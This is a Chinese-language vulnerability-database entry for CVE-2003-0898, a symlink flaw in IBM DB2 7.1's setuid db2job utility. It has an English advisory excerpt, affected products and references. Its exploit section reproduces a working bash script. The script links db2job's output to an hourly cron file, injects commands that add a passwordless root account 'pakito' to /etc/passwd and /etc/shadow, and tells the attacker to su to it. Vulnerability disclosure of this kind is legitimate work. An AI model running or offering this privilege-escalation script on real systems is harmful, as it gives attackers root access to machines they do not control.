FixPak覆盖任意文件漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107443 漏洞类型 未知
发布时间 2003-08-05 更新时间 2003-11-17
CVE编号 CVE-2003-0898 CNNVD-ID CNNVD-200311-067
漏洞平台 Unix CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/22988
https://www.securityfocus.com/bid/88173
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200311-067
|漏洞详情
IBMDB27.2FixPak10a之前的版本,及包括7.1的早期版本存在漏洞。本地用户借助对(1)db2job和(2)db2job2的符号链接攻击覆盖任意文件。
|漏洞EXP
source: http://www.securityfocus.com/bid/8344/info

IBM's DB2 database ships with a utility called db2job, installed with permissions 4550 and owned by root.db2asgrp. 

It has been reported that db2job writes to a number of files with root privileges. The files written to are created with 0770 permissions (owner, group writeable) and are owned by root.db2asgrp. If a symbolic link is written to, the file pointed to will be overwritten and given these permissions. This can be exploited by local attackers with execute privileges to gain root access by writing malicious data to sensitive files (such as /etc/passwd, /etc/shadow) that have been overwritten.

It should be noted, however, that db2job is allegedly not world-executable by default. The two members of group db2asgrp, db2as and db2inst1, are the only users besides root that would normally have execute access. If the attacker can run commands or gain the access level of those accounts, they may further elevate their access level through exploitation of this vulnerability.

#!/bin/bash

DB2JOB=/home/db2as/sqllib/adm/db2job
CRONFILE=/etc/cron.hourly/pakito
USER=pakito

unset DB2INSTANCE
export DB2DIR=./trash

if [ -d $DB2DIR ]; then
echo Trash directory already created
else
mkdir $DB2DIR
fi

cd $DB2DIR
if [ -f ./0_1.out ]; then
echo Link Already Created
else
ln -s $CRONFILE ./0_1.out
fi

$DB2JOB


echo "echo "#!/bin/bash"" > $CRONFILE
echo "echo "$USER:x:0:0::/:/bin/bash" >> /etc/passwd" >> $CRONFILE
echo "echo "$USER::12032:0:99999:7:::" >> /etc/shadow" >> $CRONFILE
echo " must wait until cron execute $CRONFILE and then exec su pakito"
|受影响的产品
System Tools Db2 Universal Database 7.1 Linux
|参考资料

来源:ftp.software.ibm.com
链接:ftp://ftp.software.ibm.com/ps/products/db2/fixes/english-us/db2aixv7/FP10a_U495172/FixpakReadme.txt
来源:BUGTRAQ
名称:20030805LocalVulnerabilityinIBMDB27.1db2jobbinary
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106010332721672&w=2